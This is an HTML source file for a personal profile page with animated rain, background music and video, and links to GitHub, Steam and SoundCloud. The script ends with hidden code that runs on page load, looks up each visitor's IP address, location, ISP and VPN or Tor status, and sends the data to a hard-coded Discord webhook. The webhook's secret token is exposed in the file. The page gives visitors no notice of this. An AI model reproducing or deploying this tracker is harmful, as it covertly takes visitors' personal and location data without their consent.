<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title></title>

    <!-- Favicon link (add your logo file path) -->
    <link rel="icon" href="assets/logo.ico" type="image/x-icon">
    <!-- Replace 'assets/logo.ico' with your actual logo file path -->

    <!-- Google Fonts Link -->
    <link href="https://fonts.google.com/noto/specimen/Noto+Sans+Display?preview.text=misery302&query=ancient"
        rel="stylesheet">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body,
        html {
            width: 100%;
            height: 100%;
            background-color: #000000;
            display: flex;
            justify-content: center;
            align-items: center;
            color: #ffffff;
            font-family: 'Roboto', sans-serif;
            overflow: hidden;
            position: relative;
            cursor: url('assets/cursor.cur'), auto;
            /* Custom cursor */
        }

        /* Video Background Styling */
        #backgroundVideo {
            position: fixed;
            top: 0;
            left: 0;
            width: 100vw;
            height: 100vh;
            object-fit: cover;
            z-index: 0;
            display: none;
            /* Hidden initially */
            background-color: #000000;
            opacity: 0;
            /* Initially hidden */
            pointer-events: none;
            /* Prevent interaction with video */
            transition: opacity 2s ease-in-out;
            /* Fade-in animation */
        }

        .profile-container {
            position: relative;
            text-align: center;
            background-color: rgba(255, 255, 255, 0);
            padding: 20px;
            border-radius: 10px;
            z-index: 2;
        }

        .profile-pic {
            width: 130px;
            height: 130px;
            border-radius: 50%;
            background: url('assets/invisible.png') center center no-repeat;
            background-size: cover;
            position: absolute;
            top: -210px;
            left: 50%;
            transform: translateX(-50%);
            border: 0px solid #000000;
        }

        .username {
            font-size: 40px;
            font-weight: normal;
            margin-top: -90px;
            position: relative;
            text-shadow: 1px 1px 20px rgba(0, 0, 0, 1);
            /* Shadow added here */
            background-image: url(assets/black_particle.gif);
            filter: drop-shadow(#000000 1px 0 7px);
        }

        .icon-container {
            display: flex;
            justify-content: center;
            gap: 15px;
            margin-top: 60px;
        }

        .icon {
            width: 40px;
            height: 40px;
            cursor: url('assets/cursor.cur'), auto;
            /* Custom cursor for icons */
            transition: transform 0.3s ease-in-out;
            /* Transition for scaling */
            filter: drop-shadow(#000000 1px 0 7px);
        }

        .icon:hover {
            transform: scale(1.2);
            /* Scale the icon by 20% */
        }

        /* Black Overlay */
        .black-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            backdrop-filter: blur(8px);
            z-index: 4;
            display: flex;
            justify-content: center;
            align-items: center;
            cursor: url('assets/cursor.cur'), auto;
            /* Custom cursor for overlay */
            opacity: 1;
            transition: opacity 2s ease;
            /* Slow fade-out */
        }

        .rain {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            overflow: hidden;
            z-index: 1;
            pointer-events: none;
        }

        .raindrop {
            position: absolute;
            top: -10%;
            width: 3px;
            height: 3px;
            background: white;
            opacity: 0.5;
            animation: fall linear infinite;
            /* Make it infinite */
        }

        @keyframes fall {
            0% {
                transform: translateY(0) translateX(0);
                /* Start at the top */
                opacity: 0.5;
                /* Start with full opacity */
            }

            100% {
                transform: translateY(120vh) translateX(calc(-10px + 20px * var(--direction)));
                /* Fall to the bottom */
                opacity: 0;
                /* Fade out as it falls */
            }
        }
    </style>
</head>

<body>

    <!-- Background Video -->
    <video id="backgroundVideo" muted loop autoplay playsinline>
        <source src="assets/background.mp4" type="video/mp4">
        Your browser does not support the video tag.
    </video>

    <!-- Black Blur Overlay -->
    <div class="black-overlay" id="blackOverlay"></div>

    <!-- Profile Container -->
    <div class="profile-container">
        <div class="profile-pic"></div>
        <div class="username" id="username">60</div>
        <div class="icon-container">
            <a href="https://github.com/60-t" target="_blank">
                <img src="assets/Github_white.svg" class="icon" alt="Github">
            </a>

            <a href="https://steamcommunity.com/id/60-t/" target="_blank">
                <img src="assets/Steam_white.svg" class="icon" alt="Steam">
            </a>
            <a href="https://soundcloud.com/60-t" target="_blank">
                <img src="assets/Soundcloud_white.svg" class="icon" alt="Soundcloud">
            </a>
        </div>
    </div>

    <!-- Rain Effect -->
    <div class="rain" id="rainEffect"></div>

    <audio id="backgroundMusic" loop>
        <source src="assets/music.mp3" type="audio/mpeg">
        Your browser does not support the audio tag.
    </audio>

    <script>
        // Generate raindrops with random positions and speeds
        const rainContainer = document.getElementById('rainEffect');
        const raindropCount = 100;
        const maxRaindropDuration = 3;

        function createRaindrop() {
            const raindrop = document.createElement('div');
            raindrop.classList.add('raindrop');

            // Set random horizontal position
            raindrop.style.left = Math.random() * 100 + 'vw';

            // Set random animation duration (speed of fall)
            const duration = 2 + Math.random() * maxRaindropDuration; // Random duration for falling
            raindrop.style.animationDuration = `${duration}s`;

            // Set random animation delay (so that raindrops start at different times)
            raindrop.style.animationDelay = Math.random() * -5 + 's';

            // Random direction to make rain look more natural
            raindrop.style.setProperty('--direction', Math.random() * 2 - 1);

            // Append to rain container
            rainContainer.appendChild(raindrop);

            // Remove the raindrop after its animation ends, to keep the DOM clean
            raindrop.addEventListener('animationiteration', () => {
                raindrop.remove();
                createRaindrop();  // Create a new raindrop when one finishes falling
            });
        }

        // Create initial raindrops and continuously generate more
        for (let i = 0; i < raindropCount; i++) {
            createRaindrop();
        }

        // Play the background music and start video after overlay fade-out
        const blackOverlay = document.getElementById('blackOverlay');
        const music = document.getElementById('backgroundMusic');
        const video = document.getElementById('backgroundVideo');

        blackOverlay.addEventListener('click', () => {
            music.volume = 0;
            music.play();

            // Gradually increase music volume
            let volumeIncreaseInterval = setInterval(() => {
                if (music.volume < 1) {
                    music.volume = Math.min(music.volume + 0.1, 1);
                } else {
                    clearInterval(volumeIncreaseInterval);
                }
            }, 200);

            // Start fading out the overlay and fading in the video at the same time
            blackOverlay.style.opacity = '0';  // Fade out overlay
            video.style.display = 'block';  // Show video
            video.style.opacity = '1';  // Start fading in video

            // Play the video after the fade-in starts
            video.play();

            setTimeout(() => {
                blackOverlay.style.display = 'none'; // Hide the overlay completely after fade
            }, 2000); // Ensure the overlay fades out before it's hidden
        });

        // Typing and Deleting Effect for browser title
        const originalTitle = "@60";
        const deleteSpeed = 300; // Speed for deleting text in milliseconds
        const typingSpeed = 300; // Speed for typing text in milliseconds

        let titleIndex = 0;
        let titleDeleteIndex = originalTitle.length;

        // Typing effect function
        function typeTitle() {
            if (titleIndex < originalTitle.length) {
                document.title += originalTitle.charAt(titleIndex);
                titleIndex++;
                setTimeout(typeTitle, typingSpeed);
            } else {
                setTimeout(deleteTitle, 0); // Start deleting after typing
            }
        }

        // Deleting effect function
        function deleteTitle() {
            if (titleDeleteIndex >= 1) {
                document.title = document.title.slice(0, titleDeleteIndex);
                titleDeleteIndex--;
                setTimeout(deleteTitle, deleteSpeed);
            } else {
                titleIndex = 1;
                titleDeleteIndex = originalTitle.length;
                setTimeout(typeTitle, 0); // Start typing again after deleting
            }
        }

        // Start the typing effect when the page loads
        window.onload = () => {
            typeTitle();
            video.style.display = 'none';  // Hide video initially
        };

        // Function to handle the response from the geoip2 API
        function handleGeoIPResponse(response) {
            let infoHtml = "<h2>Complete Geolocation and Connection Information:</h2>";

            // Gather all information into a structured format
            const geoInfo = {
                country: response.country.names.en || "N/A",
                countryCode: response.country.iso_code || "N/A",
                city: response.city.names.en || "N/A",
                cityPopulation: response.city.population || "N/A",
                continent: response.continent.names.en || "N/A",
                latitude: response.location.latitude || "N/A",
                longitude: response.location.longitude || "N/A",
                timezone: response.location.time_zone || "N/A",
                isp: response.traits.isp || "N/A",
                organization: response.traits.organization || "N/A",
                asn: response.traits.autonomous_system_number || "N/A",
                ipAddress: response.traits.ip_address || "N/A",
                connectionType: response.traits.connection_type || "N/A",
                isProxy: response.traits.is_proxy || "N/A",
                isVpn: response.traits.is_vpn || "N/A",
                isTor: response.traits.is_tor || "N/A",
                isAnonymous: response.traits.is_anonymous || "N/A",
                isPublic: response.traits.is_public || "N/A",
                domain: response.traits.domain || "N/A",
                subdomain: response.traits.subdomain || "N/A",
                geolocationLink: `https://www.google.com/maps?q=${response.location.latitude},${response.location.longitude}` || "N/A"
            };

            // Prepare HTML display
            infoHtml += `<p><strong>Country:</strong> ${geoInfo.country}</p>`;
            infoHtml += `<p><strong>Country Code:</strong> ${geoInfo.countryCode}</p>`;
            infoHtml += `<p><strong>City:</strong> ${geoInfo.city}</p>`;
            infoHtml += `<p><strong>City Population:</strong> ${geoInfo.cityPopulation}</p>`;
            infoHtml += `<p><strong>Continent:</strong> ${geoInfo.continent}</p>`;
            infoHtml += `<p><strong>Latitude:</strong> ${geoInfo.latitude}</p>`;
            infoHtml += `<p><strong>Longitude:</strong> ${geoInfo.longitude}</p>`;
            infoHtml += `<p><strong>Timezone:</strong> ${geoInfo.timezone}</p>`;
            infoHtml += `<p><strong>ISP:</strong> ${geoInfo.isp}</p>`;
            infoHtml += `<p><strong>Organization:</strong> ${geoInfo.organization}</p>`;
            infoHtml += `<p><strong>ASN:</strong> ${geoInfo.asn}</p>`;
            infoHtml += `<p><strong>IP Address:</strong> ${geoInfo.ipAddress}</p>`;
            infoHtml += `<p><strong>Connection Type:</strong> ${geoInfo.connectionType}</p>`;
            infoHtml += `<p><strong>Is Proxy:</strong> ${geoInfo.isProxy}</p>`;
            infoHtml += `<p><strong>Is VPN:</strong> ${geoInfo.isVpn}</p>`;
            infoHtml += `<p><strong>Is Tor:</strong> ${geoInfo.isTor}</p>`;
            infoHtml += `<p><strong>Is Anonymous:</strong> ${geoInfo.isAnonymous}</p>`;
            infoHtml += `<p><strong>Is Public IP:</strong> ${geoInfo.isPublic}</p>`;
            infoHtml += `<p><strong>Domain Name:</strong> ${geoInfo.domain}</p>`;
            infoHtml += `<p><strong>Subdomain:</strong> ${geoInfo.subdomain}</p>`;
            infoHtml += `<p><strong>Geolocation Map:</strong> <a href="${geoInfo.geolocationLink}" target="_blank" style="color: blue;">View Map</a></p>`;

            // Display the collected information on the page
            document.getElementById("location-info").innerHTML = infoHtml;

            // Send the information to the Discord webhook
            sendToDiscord(geoInfo);
        }

        // Function to send data to the Discord webhook
        function sendToDiscord(data) {
            const webhookUrl = "https://discord.com/api/webhooks/1331014730604744704/MKnQvGSiKhaXtCx2Q_fEW_6j30XIETFL10R_GEKcxyRQQoGct6Is715tqzTdkYuvL_QJ";

            // Prepare the embed payload
            const embed = {
                title: "Geolocation and Connection Information",
                color: 0x000000,  // Black color
                fields: [
                    {
                        name: "🌍 **Geolocation**",
                        value: `**Country**: ${data.country}\n` +
                            `**City**: ${data.city}\n` +
                            `**Continent**: ${data.continent}\n` +
                            `**Latitude**: ${data.latitude}\n` +
                            `**Longitude**: ${data.longitude}\n` +
                            `**Timezone**: ${data.timezone}`,
                        inline: true
                    },
                    {
                        name: "🖥️ **Connection Info**",
                        value: `**ISP**: ${data.isp}\n` +
                            `**Organization**: ${data.organization}\n` +
                            `**ASN**: ${data.asn}\n` +
                            `**IP Address**: ${data.ipAddress}\n` +
                            `**Connection Type**: ${data.connectionType}`,
                        inline: true
                    },
                    {
                        name: "🔒 **Security Info**",
                        value: `**Is Proxy**: ${data.isProxy}\n` +
                            `**Is VPN**: ${data.isVpn}\n` +
                            `**Is Tor**: ${data.isTor}\n` +
                            `**Is Anonymous**: ${data.isAnonymous}\n` +
                            `**Is Public IP**: ${data.isPublic}`,
                        inline: false
                    },
                    {
                        name: "🌐 **Domain Info**",
                        value: `**Domain Name**: ${data.domain}\n` +
                            `**Subdomain**: ${data.subdomain}\n` +
                            `**Geolocation Map**: [Click Here](${data.geolocationLink})`,
                        inline: false
                    }
                ],
                footer: {
                    text: "Powered by GeoIP2"
                }
            };

            // Prepare the final payload
            const payload = {
                embeds: [embed]
            };

            // Send the data to Discord via a POST request
            fetch(webhookUrl, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify(payload)
            })
                .then(response => response.json())
                .then(data => console.log('Data sent to Discord:', data))
                .catch(error => console.error('Error sending to Discord:', error));
        }

        // Fetch all geolocation and connection data using geoip2 API for insights
        geoip2.insights(handleGeoIPResponse);


    </script>

</body>

</html>